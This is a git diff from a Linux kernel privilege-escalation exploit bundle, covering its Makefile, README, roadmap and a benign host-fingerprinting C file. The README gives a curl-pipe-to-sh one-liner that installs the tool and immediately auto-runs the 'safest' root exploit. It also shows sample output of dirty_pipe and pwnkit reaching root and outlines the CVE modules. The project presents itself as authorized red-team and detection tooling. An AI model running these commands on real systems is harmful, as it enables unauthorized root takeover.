ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
# All module objects in one var so both the main binary and the test
# binary can re-use the list without duplicating the long enumeration.
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
.PHONY: all clean debug static help
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
# Tests — `make test` builds and runs the detect() unit-test harness.
# Links against the same module objects as the main binary minus the
# top-level dispatcher (which provides main(); the test has its own).
TEST_DIR := tests
TEST_SRCS := $(TEST_DIR)/test_detect.c
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
TEST_BIN := skeletonkey-test
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
.PHONY: all clean debug static help test
all: $(BIN)
$(BIN): $(ALL_OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
$(TEST_BIN): $(TEST_ALL_OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
test: $(TEST_BIN)
@echo "[*] running test suite ($(TEST_BIN))"
./$(TEST_BIN)
# Generic compile: any .c → corresponding .o under build/
$(BUILD)/%.o: %.c
@@ -150,13 +223,14 @@ static: LDFLAGS += -static
static: clean $(BIN)
clean:
rm -rf $(BUILD) $(BIN)
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
help:
@echo "Targets:"
@echo " make build optimized skeletonkey binary"
@echo " make debug build with -O0 -g3"
@echo " make static build a fully static binary"
@echo " make test build + run the detect() unit test suite"
@echo " make clean remove build artifacts"
@echo ""
@echo "Per-module (legacy) — not built by default:"
+175 -123
View File
@@ -1,172 +1,224 @@
# SKELETONKEY
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
> bundled with their detection signatures, patch status, and version
> ranges. Run it on a system you own (or are authorized to test) and
> it tells you which historical and recent CVEs that system is still
> vulnerable to, and — with explicit confirmation — gets you root.
[![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
[![Modules](https://img.shields.io/badge/modules-28%20verified%20%2B%203%20ported-brightgreen.svg)](CVES.md)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
```
╭───╮
│ ● │════════════════════════════════════════════════════════╗
╲ ╱ ╔══╩══╗
╰───╯ ║ ╔═╝
║ ║
╚═══╝
> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
> (+3 ported-but-unverified). Detection rules in the box. One command
> picks the safest one and runs it.**
███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗
██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝
███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝
╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝
███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║
╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝
```bash
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
```
> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
> tool. By using it you assert you have explicit authorization to test
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
> using it you assert you have explicit authorization to test the
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
## Why use this
Most Linux privesc tooling is broken in one of three ways:
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
work, run nothing
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
no detection signatures and went stale years ago
- **Per-CVE PoC repos** — one author, one distro, abandoned within
months
SKELETONKEY is one binary, actively maintained, with detection rules
for every CVE in the bundle — same project for red and blue teams.
## Who it's for
| Audience | What you get |
|---|---|
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
## Corpus at a glance
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
`pack2theroot` — see note below):
| Tier | Count | What it means |
|---|---|---|
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
**🟢 Modules that land root on a vulnerable host:**
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
(KASLR leak primitive)
**🟡 Modules with opt-in `--full-chain`:**
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
**⚪ Ported-but-unverified (not in the counts above):**
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
bodies not yet VM-validated**. All three have version-pinned `detect()`:
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
(commit `76cfb675`), version read from the daemon over D-Bus.
`--auto` auto-enables `--active` to confirm empirically on top.
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
detection status.
## Quickstart
```bash
# One-shot install (x86_64 / arm64; checksum-verified)
# Install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
```
**skeletonkey runs as a normal unprivileged user** — that's the whole
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
work without `sudo`. Only `--mitigate` and rule-file installation
write to root-owned paths.
```bash
# What's this box vulnerable to? (no sudo)
skeletonkey --scan
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
skeletonkey --audit
# Pick the safest LPE and run it
skeletonkey --auto --i-know
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
sudo skeletonkey --mitigate copy_fail
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt
```
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
`sudo`. Only `--mitigate` and rule-file installation write root-owned
paths.
### Example: unprivileged → root
```text
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --scan
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
$ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 31 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
[ ] auto: copy_fail patched or not applicable
[ ] auto: nf_tables precondition not met
...
$ skeletonkey --exploit dirty_pipe --i-know
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
[+] dirty_pipe: spawning su root
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[*] auto: launching --exploit pwnkit...
[+] pwnkit: writing gconv-modules cache + payload.so...
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
# id
uid=0(root) gid=0(root) groups=0(root)
```
`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
for the blue-team deployment guide.
The safety ranking goes: **structural escapes** (no kernel state
touched) → **page-cache writes****userspace cred-races**
**kernel primitives****kernel races** (least predictable). The
goal is to never crash a production box looking for root.
## What this is
## How it works
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
is empirically verified to work on the kernels it claims to target,
CI-tested across a distro matrix, and ships with the detection
signatures defenders need to spot it in their environment.
Each CVE (or tightly-related family) is a **module** under `modules/`.
Modules export a standard interface (`detect / exploit / mitigate /
cleanup`) plus metadata (kernel range, detection rule text). The
top-level binary dispatches per command:
The same binary covers offense and defense:
- `--scan` walks every module's `detect()` against the running host
- `--exploit <name> --i-know` runs the named module's exploit (the
`--i-know` flag is the authorization gate)
- `--auto --i-know` does the scan, ranks by safety, runs the safest
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
embedded rule corpus
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
mitigations (module-dependent — most kernel modules say "upgrade")
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
emits a ready-to-paste C entry for the `--full-chain` offset table
- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
apply, and which are blocked by patches/config/LSM
- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
authorization gate)
- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
every bundled CVE so blue teams can drop them into their tooling
- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
host is vulnerable to (sysctl knobs, module blacklists, etc.)
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
module-loader design.
## The verified-vs-claimed bar
Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets. The shared `--full-chain` finisher only returns
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
populate the offset table once per target kernel via
`skeletonkey --dump-offsets` and either set env vars or upstream the
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
## Build from source
```bash
git clone https://github.com/KaraZajac/SKELETONKEY.git
cd SKELETONKEY
make
./skeletonkey --version
```
Builds clean with gcc or clang on any modern Linux. macOS dev builds
also compile (modules with Linux-only headers stub out gracefully).
## Status
**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
across the 2016 → 2026 LPE timeline:
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
patched hosts.
- 🟢 **13 modules land root** end-to-end on a vulnerable host
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
- 🟡 **11 modules fire the kernel primitive** by default and refuse
to claim root without empirical confirmation. Pass `--full-chain`
to engage the shared `modprobe_path` finisher and attempt root
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
nft_payload, nft_set_uaf, stackrot.
- Detection rules ship inline (auditd / sigma / yara / falco) and
are exported via `skeletonkey --detect-rules --format=…`.
Reliability + accuracy work in v0.6.0:
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
tests over mocked host fingerprints; runs as a non-root user in CI.
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
fork-isolated detect + exploit so a crashing module can't tear down
the dispatcher, structured per-module verdict table, scan summary.
- `--dry-run` flag (preview without firing; no `--i-know` needed).
- Pinned mainline fix commits for the 3 ported modules — `detect()`
is version-pinned, not just precondition-only.
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
Empirical end-to-end validation on a vulnerable-target VM matrix is
the next roadmap item; until then, the corpus is best understood as
"compiles + detects + structurally correct + honest on failure" —
and the three ported modules have not been run against a vulnerable
target at all.
## Why this exists
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
infrastructure work.
The Linux kernel privilege-escalation space is fragmented:
## Contributing
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
exploits, don't run them
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
stale, no CI, no defensive signatures
- **Per-CVE single-PoC repos**: usually one author, often abandoned
within months of release, often only one distro
SKELETONKEY's bet is that there's room for a single curated bundle that
(1) actively maintains a small set of high-quality exploits across a
multi-distro matrix, and (2) ships detection rules alongside each
exploit so the same project serves both red and blue teams.
## Architecture
Each CVE (or tightly-related family) is a **module** under `modules/`.
Modules export a standard interface: `detect()`, `exploit()`,
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
ranges, distro coverage, and CI test matrix.
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
fingerprinting, common utilities) lives in `core/`.
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
module-loader design and how to add a new CVE.
## Build & run
```bash
make # build all modules
./skeletonkey --scan # what's this box vulnerable to? (no sudo)
./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
./skeletonkey --detect-rules --format=sigma > rules.yml
./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
```
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
kernel, paste into `core/offsets.c`), new modules, detection rules,
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
## Acknowledgments
Each module credits the original CVE reporter and PoC author in its
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
research credit belongs to the people who found the bugs.
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
the research credit belongs to the people who found the bugs.
## License
+89 -5
View File
@@ -164,16 +164,94 @@ Backfill of historical and recent LPEs as time allows.
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
**Landed since v0.1.0 (in the 28-module verified corpus):**
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
overflow → kernel stack OOB; trigger + witness, no cred chain).
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
structural argv-injection (no kernel state, no offsets).
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
**Landed (ported from public PoC, pending VM verification — NOT part
of the 28-module verified corpus):**
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
stub is retired. The stub's open question ("is the
unprivileged-userns-netns scenario in scope?") is resolved —
the module ships and reports `PRECOND_FAIL` when the userns gate
is closed.
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
decrypt page-cache write. Ported from the V12 PoC.
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
TOCTOU. Ported from the public Vozec PoC; original disclosure by
Deutsche Telekom security. Userspace D-Bus LPE with high-
confidence `detect()` — reads PackageKit's version directly over
D-Bus and compares against the pinned fix release 1.3.5 (commit
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
Adds an optional GLib/GIO build dependency, autodetected via
`pkg-config gio-2.0`; stub-compiles if absent.
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
on a vulnerable target**, pin remaining CVE fix commits, add
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
`--active` so the probes give definitive verdicts; each
`detect()` runs in a fork-isolated child so one bad probe
cannot tear down the scan.
**--auto accuracy work (landed 2026-05-22):**
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
run in `/tmp` / fork-isolated namespaces, so version-only
checks can no longer be fooled by silent distro backports.
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
precondition / indeterminate) instead of only printing the
`VULNERABLE` rows.
- [x] Scan-end summary line counting each verdict class.
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
printed in the `--auto` banner alongside kernel + arch.
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
module's probe is contained and the scan continues. Surfaced
while testing entrybleed's `prefetchnta` sweep under emulated
CPUs: exactly the failure mode the isolation now handles.
- [x] `--dry-run` flag: previews the picked exploit (or single-module
operation) without firing. Works with `--auto`, `--exploit`,
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
`--i-know` (nothing fires) so operators can inspect the host's
attack surface without arming. Bare `--auto` still gates on
`--i-know` and now points to `--dry-run` in the refusal message.
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
tracker provided the fix commits: `dirtydecrypt` against mainline
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
against PackageKit 1.3.5. The `kernel_range` model now drives
their verdicts; `--active` confirms empirically on top.
- [x] **`core/host` host-fingerprint refactor.** A single
`struct skeletonkey_host` is populated once at startup and
handed to every module via `ctx->host`: kernel version + arch
+ distro id/version + capability gates (unprivileged_userns,
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
Yama ptrace) + service presence (systemd, system D-Bus). The
`--auto` / `--scan` banner now prints the fingerprint up front
so operators see at a glance which gates are open. 4 modules
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
pack2theroot, overlayfs) — replacing per-detect `uname`s,
`/etc/os-release` parses, and userns fork-probes with O(1)
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
future modules can opt-in by including `core/host.h`.
- [ ] Migrate the remaining modules (cgroup_release_agent /
overlayfs_setuid / copy_fail_family bridge / others) to
consume `ctx->host` — incremental follow-up.
**Carry-overs:**
- [ ] **CVE-2023-2008** — vmwgfx OOB write
- [ ] Fragnesia (if it lands as a CVE)
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
ships (responsible-disclosure-first)
## Phase 8 — Full-chain promotions (post v0.1.0)
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
None requires fresh research — each has a public reference exploit;
@@ -184,9 +262,15 @@ auto-resolve via System.map / kallsyms when accessible).
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
The other four are lower priority — fuse_legacy and cls_route4 have
The remainder are lower priority — fuse_legacy and cls_route4 have
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
race window makes it inherently low-yield.
race window makes it inherently low-yield; the nft_* family and
vmwgfx need their per-kernel offset tables built out.
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
**not** part of this Phase 8 promotion set — they need VM verification
and pinned fix commits first (tracked under Phase 7+ above) before any
full-chain work is meaningful.
## Non-goals
+345
View File
@@ -0,0 +1,345 @@
/*
* SKELETONKEY — host fingerprint implementation
*
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
* first call, stores into a file-static, and returns the same pointer
* forever after. Single-threaded (skeletonkey is single-threaded), so
* no synchronisation needed.
*/
#include "host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pwd.h>
#ifdef __linux__
#include <sched.h>
#include <sys/wait.h>
#endif
static struct skeletonkey_host g_host;
static bool g_host_ready = false;
/* ── small parser helpers ─────────────────────────────────────────── */
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
* trailing quote / newline) into `dst`. Caller passes the start of the
* value (after `=`). Cap is the size of dst including NUL. */
static void parse_os_release_value(const char *s, char *dst, size_t cap)
{
const char *p = s;
if (*p == '"' || *p == '\'') p++;
size_t L = strcspn(p, "\"'\n");
if (L >= cap) L = cap - 1;
memcpy(dst, p, L);
dst[L] = '\0';
}
static bool path_exists(const char *p)
{
struct stat st;
return stat(p, &st) == 0;
}
#ifdef __linux__
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
static bool read_int_file(const char *path, int *out)
{
FILE *f = fopen(path, "r");
if (!f) return false;
int v;
int n = fscanf(f, "%d", &v);
fclose(f);
if (n != 1) return false;
*out = v;
return true;
}
static bool read_first_line(const char *path, char *dst, size_t cap)
{
FILE *f = fopen(path, "r");
if (!f) return false;
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
fclose(f);
size_t n = strlen(dst);
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
return true;
}
#endif
/* ── populators ───────────────────────────────────────────────────── */
static void populate_kernel(struct skeletonkey_host *h)
{
struct utsname u;
if (uname(&u) == 0) {
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
* %.*s precision spec tells gcc the snprintf is bounded so it
* does not warn about possible truncation (we WANT truncation;
* the snprintf already caps). */
snprintf(h->arch, sizeof h->arch,
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
snprintf(h->nodename, sizeof h->nodename,
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
}
/* kernel_version_current owns the static release-string buffer
* and the parser — reuse it to keep one source of truth. */
kernel_version_current(&h->kernel);
}
static void populate_distro(struct skeletonkey_host *h)
{
snprintf(h->distro_id, sizeof h->distro_id, "?");
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
FILE *f = fopen("/etc/os-release", "r");
if (!f) return;
char line[256];
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "ID=", 3) == 0)
parse_os_release_value(line + 3,
h->distro_id, sizeof h->distro_id);
else if (strncmp(line, "VERSION_ID=", 11) == 0)
parse_os_release_value(line + 11,
h->distro_version_id, sizeof h->distro_version_id);
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
parse_os_release_value(line + 12,
h->distro_pretty, sizeof h->distro_pretty);
}
fclose(f);
}
static void populate_user(struct skeletonkey_host *h)
{
h->euid = geteuid();
h->egid = getegid();
h->is_root = (h->euid == 0);
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
h->username[0] = '\0';
struct passwd *pw = getpwuid(h->euid);
if (pw && pw->pw_name)
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
* discover the outer uid if we're inside a user namespace. Format
*
* "0 0 4294967295" → init ns, outer == 0
* "0 1000 1" → userns mapped, outer == 1000
*
* Only trust outer != 0 and != -1 as the bypass-userns case. */
h->real_uid = h->euid;
int fd = open("/proc/self/uid_map", O_RDONLY);
if (fd >= 0) {
char buf[256];
ssize_t n = read(fd, buf, sizeof buf - 1);
close(fd);
if (n > 0) {
buf[n] = '\0';
int inner = -1, outer = -1, count = 0;
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
inner == 0 && outer > 0)
h->real_uid = (uid_t)outer;
}
}
}
static void populate_platform_family(struct skeletonkey_host *h)
{
#ifdef __linux__
h->is_linux = true;
#else
h->is_linux = false;
#endif
h->is_debian_family = path_exists("/etc/debian_version");
h->is_rpm_family = path_exists("/etc/redhat-release") ||
path_exists("/etc/fedora-release") ||
path_exists("/etc/rocky-release") ||
path_exists("/etc/almalinux-release");
h->is_arch_family = path_exists("/etc/arch-release");
h->is_suse_family = path_exists("/etc/SuSE-release") ||
path_exists("/etc/SUSE-brand");
}
#ifdef __linux__
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
static bool userns_probe(void)
{
pid_t pid = fork();
if (pid < 0) return false;
if (pid == 0) {
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
}
int st;
if (waitpid(pid, &st, 0) < 0) return false;
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
}
#endif
static void populate_caps(struct skeletonkey_host *h)
{
h->unprivileged_userns_allowed = false;
h->apparmor_restrict_userns = false;
h->unprivileged_bpf_disabled = false;
h->kpti_enabled = false;
h->kernel_lockdown_active = false;
h->selinux_enforcing = false;
h->yama_ptrace_restricted = false;
#ifdef __linux__
h->unprivileged_userns_allowed = userns_probe();
int v = 0;
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
h->apparmor_restrict_userns = (v != 0);
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
h->unprivileged_bpf_disabled = (v != 0);
if (read_int_file("/sys/fs/selinux/enforce", &v))
h->selinux_enforcing = (v != 0);
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
h->yama_ptrace_restricted = (v > 0);
char buf[256];
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
* — whichever level is bracketed is the active one. */
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
#endif
}
static void populate_services(struct skeletonkey_host *h)
{
h->has_systemd = path_exists("/run/systemd/system");
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
}
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
* copy up to (cap - 1) bytes into dst. Returns true iff popen
* succeeded, the command exited 0, and we got at least one line.
* Used for sudo/pkexec/packagekitd version parsing at startup. */
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
{
dst[0] = '\0';
FILE *p = popen(cmd, "r");
if (!p) return false;
char buf[256];
bool got = (fgets(buf, sizeof buf, p) != NULL);
int rc = pclose(p);
if (!got || rc != 0) return false;
size_t L = strlen(buf);
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
buf[--L] = '\0';
